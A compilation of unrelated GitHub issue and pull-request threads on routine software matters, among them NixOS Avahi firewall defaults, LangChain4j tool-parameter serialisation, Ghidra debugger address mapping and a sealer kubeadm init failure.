Maybe if the firewall settings only opened the port for trusted networks (IIRC this something Windows Firewall supports)… But that would probably require firewall integrating with NetworkManager and a boolean openFirewall option would not be enough.

10 déc. 2022 17:31:28 Jan Tojnar @.***>:

Avahi is enabled by default on GNOME.
From what I was able to find, opening the port itself should be safe (modulo vulnerabilities):

https://kb.iweb.com/hc/en-us/articles/360005117952-Guide-to-Multicast-DNS-mDNS-security-issues

So the main problem is probably information gathering or device fingerprinting.
But like with the other services, I am not sure increasing the attack surface without user’s explicit consent is a good trade-off. Especially for an unauthenticated service like this.
Maybe if the firewall settings only opened the port for trusted networks (IIRC this something Windows Firewall supports)… But that would probably require firewall integrating with NetworkManager and a boolean openFirewall option would not be enough.
—
Reply to this email directly, view it on GitHub[https://github.com/NixOS/nixpkgs/pull/205399#issuecomment-1345300665], or unsubscribe[https://github.com/notifications/unsubscribe-auth/AAB4RUGA3HKUIE56HB772ZLWMSV5ZANCNFSM6AAAAAASZ6VJAM].
You are receiving this because you were mentioned.[Image de pistage][https://github.com/notifications/beacon/AAB4RUGS3QKCNQW5ZOXBOADWMSV5ZA5CNFSM6AAAAAASZ6VJAOWGG33NNVSW45C7OR4XAZNMJFZXG5LFINXW23LFNZ2KUY3PNVWWK3TUL5UWJTSQF6ULS.gif]

Isn't enough for gnome to have avahi running even if it's not allowed to dbe reachable over network?

Is it enabled silently by services.xserver.desktopManager.enable? if so, that's indeed a problem for people because they can't know what they have to do...

Isn't enough for gnome to have avahi running even if it's not allowed to dbe reachable over network?

I assume avahi will appear to be working (services will be able to register their availability) so any warnings about avahi not available will be silenced but other computers will not have access to the registry.

Is it enabled silently by services.xserver.desktopManager.enable? if so, that's indeed a problem for people because they can't know what they have to do...

Looks like it’s just GNOME but the same concern still applies.
https://github.com/NixOS/nixpkgs/blob/dc46a8eb97fe3f3a4b83589c044636dfa4a62b97/nixos/modules/services/x11/desktop-managers/gnome.nix#L413

The best solution would be to only open the port on "local networks" or only allow local IP to connect, but as stated, we don't have options to know that currently, and it would certainly require more configuration than adding services.avahi.openFirewall.enable = true;.
With IPv6, by default we may not want such services to listen to public addresses.
The best option IMO would be to add a reference to services.avahi.openFirewall.enable in services.xserver.desktopManager.gnome.enable to tell people about it.

would it make sense to have services.xserver.desktopManager.gnome.openFirewall acting on avahi?

Why is this service different in that it should default to true?

For most other services it is obvious if the firewall is closed because you cannot connect to it and you'll receive an error. In avahi the service you want to connect to eg a printer just does not appear in the list of devices. It is not obvious to end users why this is the case and how to get things working. Also the most common usecase for avahi is to discover devices in your local network and that should just work when you enable the avahi service. Anyone using avahi needs to set this option to properly use avahi, so it should be by default true, anything else is just bad UX.

would it make sense to have services.xserver.desktopManager.gnome.openFirewall acting on avahi?

No, not really. This would make the configuration of gnome needlessly complex and anyone trying to discover a network printer will be really confused why it is not working.

With IPv6, by default we may not want such services to listen to public addresses.

You're IPv6 network would need to be configured to fully expose all hosts by default. All routers I have used do not do this and either require you to allow forwards of these ports explicitly or port forwarding because of nat.

I think it's important to know what's the difference in functionality between "the firewall rule not added" (which reportedly prevents avahi from both announcing local services to the network and v.v.) and "avahi not running". If that difference is empty, I would suggest making the default be "add the fw rule", and trying to figure out under what conditions should avahi be started at all.
I'm assuming that the benefits from being able to add an interface-dependent or wireless-network-dependent (which TTBOMK is not a thing right now) firewall rule are outweighted by the complexity, both of implementation and user-exposed.
I think it would also be useful to figure out whether the concern of possible bugs in avahi is much more important than the concern of allowing people on the local network to use functionality that avahi actually is intended to allow them to use, vice versa, or if both concerns are of a similar order of magnitude of importance.

I think there are two things to consider for avahi running on a non-router system.

Not allowing incoming packets on udp/5353 will prevent other machines on the network from discovering services on that machine
Querying via the avahi-daemon or any other mechanism should always work without a firewall rule, since it creates a connection tracking rule and a stateful firewall accepts incoming packets for established/related flows.

I also think the general rule of only allowing OpenSSH daemon to open the firewall is a bit coarse. There are services (e.g. snapserver) that are simply broken without a firewall, and I'm not sure disabling openFirewall on those was beneficial to anyone.
Generally openFirewall also only works when used with networking.firewall.enable, so people that manage their firewalling using any other framework (e.g. nftables, ferm, shorewall) are out of scope here.
The two question that remain are:

What is the likely user expectation when avahi gets enabled?
Can we take a step back from our current approach to openFirewall?

I don't actually think avahi is a big security threat.

Querying via the avahi-daemon or any other mechanism should always work without a firewall rule, since it creates a connection tracking rule and a stateful firewall accepts incoming packets for established/related flows.

IIRC @rapenne-s said that both didn't work. That wouldn't be very surprising: If querying would involve sending a packet to a broadcast address and receiving a packet from a unicast address, there would be no matching connection tracking entry for the unicast packet.

FWIW, in Fedora iptables seems to run by default but allows everything. And on Ubuntu, there is no default firewall.

Querying via the avahi-daemon or any other mechanism should always work without a firewall rule

That is currently not the case and I don't know how to make this work.

What is the likely user expectation when avahi gets enabled?

That discovering devices on the network works.
that publishing a service requires extra configuration, likely touching the firewall.

FWIW, in Fedora iptables seems to run by default but allows everything. And on Ubuntu, there is no default firewall.

Then we are miles ahead with secure default settings by only allowing openssh and avahi.

Some interesting points so far. At this point my biggest concern with proceeding to merge this would be the inevitable slippery slope we would see afterwards, as in someone saying "In my opinion a web server is useless without having a hole in the firewall!". Two reasonable courses of action that I would propose from here are:

Continue with openFirewall defaulting to false and add an entry to warnings in the avahi module if the firewall is enabled but the openFirewall option has not been set to true.
Draft up an RFC for an official written policy on firewall behavior in NixOS so we can avoid the slippery slope mentioned above.

Are either of those solutions acceptable to anyone/everyone?

Draft up an RFC for an official written policy on firewall behavior in NixOS so we can avoid the slippery slope mentioned above.

I'd strongly support this, also regardless of the choice in this particular case.
However, I would like to suggest that we do not phrase this in terms of what the firewall does, but in terms of how should a user be made aware that a particular configuration change causes a change in the firewall. For example, IMO if something needs to be explicitly instructed via an option to listen on non-lo interfaces, then asking the user to specify a second option that effectively says "please do not countermand by other choice" is superfluous. I would like the problem statement for the RFC to be broad enough to not consider such considerations as out of scope.

but in terms of how should a user be made aware that a particular configuration change causes a change

I like this statement. There is a ton of "magic" at work behind the scenes in NixOS modules that requires digging through source code so better documenting this to end users is a great idea. :+1:

Continue with openFirewall defaulting to false and add an entry to warnings in the avahi module if the firewall is enabled but the openFirewall option has not been set to true.

When a webserver port is closed you at least get an error message that you could not connect to it and it is pretty obvious that the firewall is closed. Also that is the default for a long time and not a recent breaking change.

Draft up an RFC for an official written policy on firewall behavior in NixOS so we can avoid the slippery slope mentioned above.

Feel free to do that afterwards but I will not be leading this.

Can we get his merged rather sooner than later and do all the discussion afterwards? I do not wish to explain this to 25+ people the next weeks why they cannot stream audio anymore and why reverting such a breaking change took multiple weeks.
This was only changed a couple of days ago and reverting parts of it shouldn't be such a big task especially when the breakage is rather sneaky and hard to debug.

Can we get his merged rather sooner than later

Given the conversation that has occurred I think it is entirely fair to merge this right now :+1:
Unless someone is agreeing to write an RFC and take that on I suggest we move this conversation elsewhere... perhaps back to the original discourse thread.


[createMuiTheme] When using Mui Theme stylesheet order is wrong

When adding a custom ThemeProvider with a theme created using createMuiTheme the AppBar and the Menu stop working correctly. Even trying to remove the import doesn't fix the issue

[x] The issue is present in the latest release.
[x] I have searched the issues of this repository and believe that this is not a duplicate.

Current Behavior 😯

Expected Behavior 🤔

Steps to Reproduce 🕹
Code Sample
Steps:

Copy code example from official Materia-UI docs
Import createMuiTheme

Your Environment 🌎

`npx @material-ui/envinfo`
  System:
    OS: Windows 10 10.0.19042
  Binaries:
    Node: 14.15.3
    Yarn: 1.22.10
    npm: 6.14.9
  Browsers:
    Chrome: 87.0.4280.141

Duplicate of #24605

Duplicate of #24605


Strange flag value found

        if BracesMin > 0 then
          flagp := flag_Worst; //???
        if Bracesmax > 0 then
          flagp := flagp or flag_HasWidth or flag_SpecStart;

??? is my mark - it SEEMS that flag_HasWidth was needed here? why flag_Worst=0? if BracesMin>0 then match has at least 1 char so flag_HasWidth needed.

Looks like a bug but better check this.

the problem is - it affects optimization.
so we won't see any problems at a small input text.

I changed it and didn't see difference in test_benchmark. i won't fix it.

in which commit did you changed it?

i changed it temporary- not commited to git.

        if BracesMin > 0 then
          flagp := flag_Worst; //???
        if Bracesmax > 0 then
          flagp := flagp or flag_HasWidth or flag_SpecStart;

so we have HasWidth set OK, because it' set by 2nd condition "if BracesMax>0".


Use dev.langchain4j.internal.Json to serialize tool params

Issue

n/a
Change
So far, we can customise the Gson instance used to serialise tool responses, through SPI. While this is an uncommon way to do it, it works!
In a recent release of Langchain4J, we can have complex object as tool params. The Gson instance used to serialise these can however not be customised. This limits the feature and the goal of this pull request is to change that.
The change: Tools now use dev.langchain4j.internal.Jsonto serialise params, instead of hardcoding a private static instance. Same class have also gotten an additional method, which the tools needed. This means the same Gson instance will be used to serialise tool responses and tool params.
This is a breaking change! Previously, you could pass UNIX timestamp to a tool and it would be serialised into a LocalDate or LocalDateTime(other java.time objects are not affected). Now you have to pass the ISO date. I have however few reasons why this is ok:

The feature(complex objects as tool params) is very new and it is unlikely that someone is affected
This change homogenise the serialisation of tool params and responses
This feature could be achieved with few refactors/changes
If you really need to pass a UNIX timestamp, you can always supply your own Gson instance through SPI

General checklist

[ ] There are no breaking changes
[X] I have added unit and integration tests for my change
[X] I have manually run all the unit and integration tests in the module I have added/changed, and they are all green
[X] I have manually run all the unit and integration tests in the core and main modules, and they are all green

[ ] I have added/updated the documentation
[ ] I have added an example in the examples repo (only for "big" features)
[ ] I have added/updated Spring Boot starter(s) (if applicable)

Note: I couldn't run the integration tests due to missing api keys!
Checklist for adding new model integration

[ ] I have added my new module in the BOM

Checklist for adding new embedding store integration

[ ] I have added a {NameOfIntegration}EmbeddingStoreIT that extends from either EmbeddingStoreIT or EmbeddingStoreWithFilteringIT
[ ] I have added my new module in the BOM

Checklist for changing existing embedding store integration

[ ] I have manually verified that the {NameOfIntegration}EmbeddingStore works correctly with the data persisted using the latest released version of LangChain4j

@G0dC0der thank you!
Out of interest, how/why do you customize Json serialization/deserialization for tools?

The change: Tools now use dev.langchain4j.internal.Jsonto serialise params, instead of hardcoding a private static instance.

Do you actually mean de -serialise tool arguments?

You mean deserialise?
Yes
How to customise the Gson
First, create a new file called dev.langchain4j.spi.json.JsonCodecFactory in resources/META-INF/services.
This should be the contents of the file:
com.g0dcoder.gson.MyCustomGsonIntanceFactory

This class(MyCustomGsonIntance), is my own class and it implements dev.langchain4j.spi.json.JsonCodecFactory. This wasn't documented anywhere, I had to look into the source code.
Why should I customise it?
The Gson instance used by default have problem deserialising multiple common classes, such as java.time.Instant. It's also unable to handle your own complex types. Take this as an exmaple:
public sealed interface RevisionCriteria {

    enum RevisionStatus implements RevisionCriteria { LATEST, LAST_PUBLISHED }

    record TargetRevision(Integer rev) implements RevisionCriteria {}
}

An instance of RevisionCriteriamay be either "LATEST", "LAST_PUBLISHED"(RevisionStatus) , or an integer(TargetRevision). The out-of-the-box Gson has no idea how to construct this object based on the supplied data, and you basically need to register your own TypeAdapter. This is just an example, I imagine companies have loads of custom complex types.
Reproducing the breaking change
Create a tool:
@Tool
public void printTime(Instant time) {
    System.out.println("The time is " + time);
}

void someMethod() {
    myAssistant.chat("Invoke tool printTime with param<PHONE_NUMBER>112"); //This should cause an error !
}

This should cause an error, because the Gson instance used for deserialising tool responses for some reason expects an ISO date or an object that contains "year", "month" "day" etc:
https://github.com/langchain4j/langchain4j/blob/30d02f84c726122c35c0b3a8d83eb7c3f593e26b/langchain4j-core/src/main/java/dev/langchain4j/internal/GsonJsonCodec.java#L17-L83

@G0dC0der thank you for the info!
Apart from java.time.Instant, did you have problems with other commonly used types?

Well, all the java 8 types that are not listed in GsonJsonCodec(shown above) such as ZonedDateTime, Optional(you shouldn't use Optional as params though), ZoneOffet/ZoneId, Duration. Period etc.

ZonedDateTime, Optional, Duration, ZoneOffset etc. Basically, all of those who does not get an explicit typer adapter registered at dev.langchain4j.internal.GsonJsonCodec

@langchain4j do you need anything more from me in order for this to be merged?

@G0dC0der sorry for the delay, I will take a look at it again

I can update it to support UNIX timestamp as well as other classes from java.time package(like Instant), however, I see that this lib is looking to replace the use of Gson with ObjectMapper. Makes me think if this change is needed. My questions to you are:

When is the switch to jackson?
Are the APIs around object mapping going to change(meaning will it allow customisation)?

When is the switch to jackson?

It is in process (most modules have been migrated to Jackson already), but I do not have a concrete timeline for langchain4j-core, but it sohuld be in hte next couple of months

Are the APIs around object mapping going to change(meaning will it allow customisation)?

I guess we will keep the SPI so that Quarkus (and potentially other frameworks) will be able to plug in what they want. Or do you mean an end-user-facing customization APIs (I did not think about it yet, any ideas)?

New commit that handles Instant and ZonedDateTime.

(I did not think about it yet, any ideas)?

The demand for exposing ObjectMapper isn't as important as it is with Gson, because of the powerful annotation support in Jackson. Either way, it would be great if we can customise the ObjectMapper instance used for both tool params and tool responses.

@G0dC0der I am uncomfortable doing this change without good tests in place.
Could you please add integration tests for tool parameters of those affected types (those listed in GsonJsonCodec, like LocalDate, LocalTime, etc.), so that we can make sure they work both before and after this change?
Thank you!

Hi, sorry for disappearing. I am thinking we can close this, since Jackson support should be available soon? As long as we have access to the Jackson instance used to serdes tool params and responses, we're good.


Update tutorials.rst

Several people are confuses about  the teleop package needed to be installed for the ROS tutorials
https://github.com/IMRCLab/crazyswarm2/discussions/276
https://github.com/IMRCLab/crazyswarm2/discussions/269

Argg made the same mistake myself again haha! I've fixed it now!


docs crashes if publishing to non-existant version

Publishing docs for a version of a package that doesn't exist results in a crash instead of an error message:
{"init terminating in do_boot",{badarg,[{io,format,[<0.64.0>,"===> Unknown error : ~ts~n",[{publish,{error,#{<<"message">>=><<"Page not found">>,<<"status">>=>404}}}]],[]},{rebar3_hex_error,format_error,1,[{file,"/home/tristan/.cache/rebar3/plugins/rebar3_hex/src/rebar3_hex_error.erl"},{line,24}]},{rebar3,handle_error,2,[{file,"/home/runner/work/rebar3/rebar3/src/rebar3.erl"},{line,347}]},{init,start_em,1,[]},{init,do_boot,3,[]}]}}
init terminating in do_boot ({badarg,[{io,format,[<0.64.0>,[_],[_]],[]},{rebar3_hex_error,format_error,1,[{_},{_}]},{rebar3,handle_error,2,[{_},{_}]},{init,start_em,1,[]},{init,do_boot,3,[]}]})

This is sort of fixed in master now as part of #272 ... but there's a part that's still "meh".
Currently (master) this will now result in :
===> Failed to publish docs for truecoat - 0.4.660 : Page not found

We could check to see if we get "Page not found" message back from hex, and if so suggest a few things :
===> Failed to publish docs for truecoat - 0.4.660 : the  0.4.660 package could not be found, be sure your publishing docs for the same version as the package you intend to the docs to go along with.

Of course, we're making an assumption there. Thoughts?

Failed to publish docs for truecoat - 0.4.660 : the  truecoat package at version 0.4.6660 could not be found would likely contain all required information to double-check things, without being misleading if the issue is say, Hex being down.


Debugging application using remote target in gdb

Related issue https://github.com/NationalSecurityAgency/ghidra/issues/5386
I am using a GDB stub provided by an emulator, and I am trying to use the debugger properly on the "decompiled" code, but the breaks and other features are not working in the static side.
Here is the step I am following

In my ghidra project I open the file I am interesting to debug with "Debugger"

Then I use the option to debug with GDB

I start the gdb interpreter (I am actually using gdb-multiarch from mingw-w64-clang-x86_64-gdb-multiarch)

Once the target set i got the following

Cannot set breakpoint from the decompiler tab

When using the set breakpoint on the Dynamic tab, I am able to see them and make them works. However the one set in the decompiler tab are gray.

The addresses are perfectly matching between the dynamic and decompiler

It sounds like the debugger is unable to map the static addresses to the dynamic addresses.  The static addresses are provided by the imported program; the dynamic addresses are provided by the debugger proper.  The mapping between them is provided by the commands "info proc mappings" and "maintenance info sections --all-objects".
Not all targets implement these commands (emulators are notorious for this).  If your target does not support these commands, the Modules and Regions Listings will be empty.  If, as you indicated, the static and dynamic addresses are identical, you can select "Map one-to-one" from the pull-down on one of those listings (apologies - I don't have Ghidra available at the moment), and the debugger will just assume they are equal.
You can also map individual modules to address ranges at an offset if the static and dynamic ranges differ.  And, if need be, you can define the two commands that are missing to provide the debugger with the info it needs.  There are a number of posts in the GitHub Issues and Discussions pages that describe how to do this.
If any of the above isn't sufficiently clear or fails to get you going, let me know.  I can provide more explicit directions when I get to somewhere that I can run Ghidra from.

Thanks you for the answer and explanation, really appreciate.

If, as you indicated, the static and dynamic addresses are identical, you can select "Map one-to-one" from the pull-down on one of those listings (apologies - I don't have Ghidra available at the moment), and the debugger will just assume they are equal.

My emulator break on startup. So when the gdb connects to the emulator, the f command give the address 0x02004800 (just for reference). As visible here

I can confirm that the imported program have matching addresses.
In the Regions tab, I had a region visible, I have the option to map to one of my block in my imported program

But when I map it, and then set a breakpoint in the Decompiler option, I do not get the break set properly (missing base address ?)

In the GBD interpreter I also got the wrong address for the breakpoint

I think from this point, I think this is probably me just missing some configuration...

OK, so, apologies, more detail definitely merited - I definitely led you astray.
By choosing that first option, you essentially said sm64dse lives in the address space 00000000-FFFFFFFF at address 0.  When you added the breakpoint in the Decompiler at 20048a4, it presumable looked at sm64dse, which I'm guessing has a base address of 2004000, subtracted the base address and added the breakpoint to dynamic memory at 8a4.  Not what you wanted.
So, I think one of two paths is the right solution (@nsadeveloper789 maybe will weight in here to make sure I'm not operating on insufficient caffeine):   (1) in the Modules windows, select the <=> button ("Map the current trace to the current program using identical addresses, or (2) in the Regions windows below the option you selected, choose "Map region to sm64dse" and set the Dynamic Base to be equal to the Static Base.  Am sure there's a difference between these two approaches (which I honestly can't remember at the moment), but one of them should do the right thing.

Our pleasure - keep us posted if you hit more issues on our end!

Just a small question, I get a lot of Not supported on this target. in the gdb interpreter, is it possible to know each time which command is not supported ?


Add "File > Exit" keyboard shortcut?

Often in my daily work I have many projects open in different instances of VSCode.
And I often find myself quitting using mouse and "File > Exit" to get all the windows back as soon as I reopen it tomorrow.
I can't find a way to add a keyboard shortcut for "File > Exit". It's possible?
If not possible today can you add this feature?
Thank you.

/question
It's existing action workbench.action.quit.
You can add shortcut that is convenient for you using Keyboard Shortcuts editor


Test motor control interrupts

I think I forgot to call sei() to enable interrupts in the motor library. At some point, we should test whether we can receive faults from the motor driver.

can confirm that sei( ) is not called for motors. Will test that with the calibration test.

The motor interrupt pin is not connected properly (through PEX and PEX interrupts instead of directly to MCU), not sure if this still applies. Will update code as error polling probably.


fix: iterative flattening pass

Description
Problem*
Resolves #4449
Summary*
The issue is fixed by implementing an iterative version of the flattening pass.
Additional Context
Documentation*
Check one:

[X] No documentation needed.
[ ] Documentation included in this PR.
[ ] [Exceptional Case] Documentation to be submitted in a separate PR.

PR Checklist*

[X] I have tested the changes locally.
[X] I have formatted the changes with Prettier and/or cargo fmt on default settings.

In the resolved issue, there is a regression test that I can easily add. However I am hesitant to add a regression test for this because it might affect performance of the CI.

In the resolved issue, there is a regression test that I can easily add. However I am hesitant to add a regression test for this because it might affect performance of the CI.

If the circuit is too big we can hold off. How large is it?


Can't install extension

I can't install the extension using ExMan
C:\Users\enzo\Downloads\ExManCmd_win>ExManCmd.exe /install SnapSVGAnimator.zxp
Installing extension with file path = SnapSVGAnimator.zxp
Failed to install, status = -201!

Also not working using ZXPInstaller:

I have this version of SnapSVG: https://github.com/cjgammon/SnapSVG-Animator/blob/master/SnapSVGAnimatorPlatform/EclipseProject/SnapSVGAnimator.zxp?raw=true
And Adobe Animate C 2018

Same here. Win 10


Add support for Romanian mobile phone numbers

Coverage remained the same at 98.84% when pulling f890d15539effb640e50cf5d2b58f006352d3d85 on arpadszasz:master into cd92fb3e8e70109e35a564ce633ebe893c444df9 on chriso:master.

Thanks.


add a text search on vraptor's site

So we can easily find docs about something.

closed via https://github.com/caelum/vraptor4/pull/916


Add Text Editor Package

Add a text editor package for writing content to post in New Post Page

@anasvakyathodi can you elaborate...... you mean q markdown editor?

@afif1400 I mean adding editor packages like react-rte for easiness.


Add possibility to render submenu in MenuItem

MenuItem
This PR introduces possibility to add vertical submenu rendered in MenuItem.
TODO

[X] Conformance test
[X] Minimal doc site example
[ ] Stardust base theme
[ ] Teams Light theme
[ ] Teams Dark theme
[ ] Teams Contrast theme
[ ] Confirm RTL usage
[ ] W3 accessibility check
[ ] Stardust accessibility check
[ ] Update glossary props table
[ ] Update the CHANGELOG.md

API Proposal
Submenu

const submenuData = {
     items: [
           { key: 'new', content: 'New' },
           { key: 'open', content: 'Open' },
     ]
}

<MenuItem submenu={submenuData} content="File" />

   File

  New

  Open

Having some concerns:

As I introduce here to have a vertical submenu, should the vertical: true prop passed from MenuItem itself, during submenu rendering?
Menu and menu items are having a transparent background. So when a submenu is rendered, it can look weird, as everything behind it is visible.

Looking forward to your thoughts and ideas!

I'd expect the submenu to have the same color as the menu bar. Is it possible to apply this style?

@priyankar205 and @gopalgoel19 please review this and collaborate.  It seems there is some overlapping work here.

Closing as it doesn't support multi-window and our immediate needs right now


Username header does not get set on subsequent requests

Thanks a lot for this super-useful plugin!
The ForwardUsername setting works fine for the first request passed through the ldapAuth middleware, but will not get forwarded for subsequent requests.
Steps to reproduce:

Enable ForwardUsername in the middleware config
Authenticate with a request that is behind the ldapAuth middleware. Using traefik/whoami as the secured service works great for troubleshooting
Observe that the username header is set as expected.
Refresh the page to re-send the request
The username header is not set anymore.

I will contribute a PR fixing this issue in a moment.

#56 would also resolve my issue, so I would be fine if that got merged instead of #57

Available in v0.1.6.


tutorial basics for creating a voting app

[ ] how to use the keplr admin webinterface
[ ] how to host our own version of this webinterface (if possible)
[x] how to add our token to it (which can be used for voting power)
[x] how to create a vote
[x] how to vote

explain what possibilities we have to vote (how does voting work), link to info in manuals

https://github.com/threefoldtech/research/blob/development/poll/docs/tutorial.md
covers how to create a poll + vote + ending poll, sending money to the creator of the poll
coins used can be changed with by changing this https://github.com/threefoldtech/research/blob/development/poll/x/poll/keeper/msg_server_submit_vote.go#L42

Gaia UI isn't supported anymore, and in the new frontend they don't support the governance. it's not included, it will require either them updating  or us going with a custom made solution


Enable using generated documentation properties files in DocService

Enables usage of generated properties files from https://github.com/line/armeria/pull/2640 in DocService. It is only used when no @Description annotation is present.
Current problem:

Works for spring-boot-minimal-kotlin
Doesn't work for spring-boot-minimal

Annotation processor doesn't run

Please let me know once this PR is ready for a review, or is it already?

I'm not sure what the problem is... I've tried all day yesterday to get it to run but it didn't... Maybe somebody else could take a look at https://github.com/line/armeria/blob/ea36e286280032e0fc85553247a4fbe7fe7e53a3/examples/spring-boot-minimal/build.gradle and tell me the obvious error I'm missing -.-

Maybe somebody else could take a look at https://github.com/line/armeria/blob/ea36e286280032e0fc85553247a4fbe7fe7e53a3/examples/spring-boot-minimal/build.gradle and tell me the obvious error I'm missing

Let me take a look.

@hueneburg The javax.annotation.processing.Processor file must exist in the META-INF/services directory. It currently exists in the META-INF.services directory, which is incorrect.

Thank you, that fixed it... Like I said, obvious error xD

Updated

ktlint failure:

/appveyor/projects/armeria/examples/spring-boot-minimal-kotlin/src/main/kotlin/example/springframework/boot/minimal/kotlin/HelloAnnotatedService.kt:3:1: Imports must be ordered in lexicographic order without any empty lines in-between

The encoding of javax.annoation.processing.Processor seems to be changed from UTF8 to US-ASCII.

US-ASCII == UTF-8 if you are not using any characters outside of the ASCII standard

updated

Fixed a Checkstyle violation for you

Oh thanks, I would do that in my next commit as well. I'm also adding some documentation for this feature

I'm also adding some documentation for this feature

Awesome!

I think both should be ERROR because the compiler uses that to detect failure or success... If we shouldn't fail because of this, then it should be WARNING... WDYT?

I rebased on master because the documentation was in a different place for me...

I think both should be ERROR because the compiler uses that to detect failure or success... If we shouldn't fail because of this, then it should be WARNING... WDYT?

ERROR sounds OK to me.

updated

:tada::tada::tada:


[GamingOnLinux]

add webview scraping message & notification count

I just added the webview to the existing recipe.
Is such an update usually done in a new PR or somehow on the old, closed one?

Did you run the pnpm run package task? Please see the relevant documentation.

Whenever any recipe changes, at a minimum, the recipe's package.json needs to change the version value.


Update join, start, end, monument and core messages

Messed up some stuff with git in #750 , I reopen it here

This is going to need to be rebased on master before it can be merged


I am getting this issue when i am trying to ShellCodeExecute method on windows 10 64 bit

I am getting this issue when i am trying to ShellCodeExecute method on windows 10 64 bit

Hey @hasasnh, I was not able to reproduce this issue, seems to be working for me:

Can you confirm that you are running within a 64-bit process?

Hello, yes you are right I have compile it using 64bit cpu instead of anycpu on visualstudio and it works fine, thanks issue has been solved now.

Glad you got it working @hasasnh!


ArcGIS Map Server Sandcastle example not working

https://cesiumjs.org/Cesium/Build/Apps/Sandcastle/?src=ArcGIS MapServer.html&label=All
I'm seeing all kinds of failed requests when I zoom in, and the feature picking is no longer working
@kring It looks like the imagery is coming from  https://nationalmap.gov.au/proxy/http://services.ga.gov.au/site_3/rest/services/Electricity_Infrastructure/MapServer
Is that still valid?  Should we delete this example or do you have another sample MapServer we can point to?

I believe the URL changed to http://services.ga.gov.au/gis/rest/services/Electricity_Infrastructure/MapServer, but that isn't working either at the moment. It may just be a temporary problem, I'll get back to you. There are plenty of other ArcGIS servers we can use if necessary.

The server is working again, sorry about that.


Controller sensitivity too high on EmulationStation frontend

Im using a controller based on Arduino Pro Micro (Atmega32U4), a DB9 joystick to USB adapter in fact.
Emulationstation GUI is registering multiple button presses and jumping all over the place when trying using this controller.
The controller works fine when games or Retroarch menu are running, so the problem is only present at ES frontend. The controller is also working fine on other platforms like MiSTer FPGA or RGB-Pi.
Is there a way to adjust the contoller sensibility on the frontend?

Hi there. I'm having a similar issue with joystick up/down controls.  It keeps skipping entries.   Controls work normally in Retropie setup, command line, Retroarch, etc.   Definitely specific to Emulation Station.   I've tried resetting the controller config many times and reimaged as well but problem persists.  Would love to know if you found a solution or not?

I'm also experiencing this issue. I'm using an AYN Loki Max and the built on controls. If I press up or down on the d-pad in a gamelist it will register as if if pressed twice and skip a game entry. On the systems page pressing left or right it will do the dame and skip a system. Oddly the analog stick doesn't have this issue. But this isn't ideal as the mouse is still acrive and this causes the cursor to move.


Add command subgroup 'mina ledger test'

Slightly reorganize ledger-related test commands for greater clarity.
Checklist:

[x] Dependency versions are unchanged

Notify Velocity team if dependencies must change in CI

[ ] Modified the current draft of release notes with details on what is completed or incomplete within this project
[x] Document code purpose, how to use it

Mention expected invariants, implicit constraints

[x] Tests were added for the new behavior

Document test purpose, significance of failures
Test names should reflect their purpose

[x] All tests pass (CI will check this if you didn't)
[x] Serialized types are in stable-versioned modules
[x] Does this close issues? None

!ci-build-me


failed to init master0: failed to init master0: exit status 1. Please clean and reinstall

What happen?
when executing "sealer run registry.cn-qingdao.aliyuncs.com/sealer-io/kubernetes:v1.19.8", error
[ERROR] [root.go:70] sealer-v0.8.6: failed to init master0: failed to init master0: exit status 1. Please clean and reinstall
Relevant log output?
<EMAIL_ADDRESS>/root]
#sealer run registry.cn-qingdao.aliyuncs.com/sealer-io/kubernetes:v1.19.8
...
2022-08-05 11:11:59 [INFO] [init.go:259] start to init master0...
2022-08-05 11:11:59 [DEBUG] [sshcmd.go:129] failed to execute command(kubeadm init --config=/var/lib/sealer/data/my-cluster/rootfs/etc/kubeadm.yml --upload-certs -v 6 --ignore-preflight-errors=SystemVerification) on host(<IP_ADDRESS>): error(exit status 1)
Usage:
  sealer run [flags]
...

2022-08-05 11:11:59 [ERROR] [root.go:70] sealer-v0.8.6: failed to init master0: failed to init master0: exit status 1. Please clean and reinstal

What you expected to happen?
i want to start a basic k8s
How to reproduce it (as minimally and precisely as possible)?
sealer run registry.cn-qingdao.aliyuncs.com/sealer-io/kubernetes:v1.19.8

Anything else we need to know?
I've tried many versions and it's the same problem，such as 0.8.5, 0.8.6, 0.5.2...

Alibaba Group Enterprise Linux Server 7.2 (Paladin)
What is the Kernel version?
Linux sqaob011124009058.sa128 4.9.151-015.ali3000.alios7.x86_64
Other environment you want to tell us?

Cloud provider or hardware configuration:
Install tools:
Others:

@alv00 , looks like failed to execute  kubeadm init: kubeadm init --config=/var/lib/sealer/data/my-cluster/rootfs/etc/kubeadm.yml --upload-certs -v 6 --ignore-preflight-errors=SystemVerification,Could pls you try running this command manually to see what's wrong?

@alv00 , looks like failed to execute kubeadm init: kubeadm init --config=/var/lib/sealer/data/my-cluster/rootfs/etc/kubeadm.yml --upload-certs -v 6 --ignore-preflight-errors=SystemVerification,Could pls you try running this command manually to see what's wrong?

I have the same problem when i run sealer run kubernetes:v1.24.3 --log-to-file --masters <IP_ADDRESS> --nodes <IP_ADDRESS>,<IP_ADDRESS> --passwd devops@123 on Alicloud ecs

Then i run the command kubeadm init --config=/var/lib/sealer/data/my-cluster/rootfs/etc/kubeadm.yml --upload-certs -v 6 --ignore-preflight-errors=SystemVerification


[Data Factory]Change additionalColumns/compressionType to type of object in ADF/Synapse public swagger

MSFT employees can try out our new experience at OpenAPI Hub  - one location for using our validation tools and finding your workflow.

Changelog
Please ensure to add changelog with this PR by answering the following questions.

What's the purpose of the update?

[ ] new service onboarding
[ ] new API version
[ ] update existing version for new feature
[ ] update existing version to fix swagger quality issue in s360
[ ] Other, please clarify

When you are targeting to deploy new service/feature to public regions? Please provide date, or month to public if date is not available yet.
When you expect to publish swagger? Please provide date, or month to public if date is not available yet.
If it's an update to existing version,  please select SDKs of specific language and CLIs that require refresh after swagger is published.

[ ] SDK of .NET (need service team to ensure code readiness)
[ ] SDK of Python
[ ] SDK of Java
[ ] SDK of Js
[ ] SDK of Go
[ ] PowerShell
[ ] CLI
[ ] Terraform
[ ] No, no need to refresh for updates in this PR

Contribution checklist:

[ ] I commit to follow the Breaking Change Policy of "no breaking changes"
[ ] I have reviewed the documentation for the workflow.
[ ] Validation tools were run on swagger spec(s) and errors have all been fixed in this PR. How to fix?

If any further question about AME onboarding or validation tools, please view the FAQ.
ARM API Review Checklist

[ ] Ensure to check this box if one of the following scenarios meet updates in the PR, so that label “WaitForARMFeedback” will be added automatically to involve ARM API Review. Failure to comply may result in delays for manifest application. Note this does not apply to data plane APIs, all “removals” and “adding a new property” no more require ARM API review.

Adding new API(s)
Adding a new API version
[ ] Ensure to copy the existing version into new directory structure for first commit (including refactoring) and then push new changes including version updates in separate commits. This is required to review the changes efficiently.
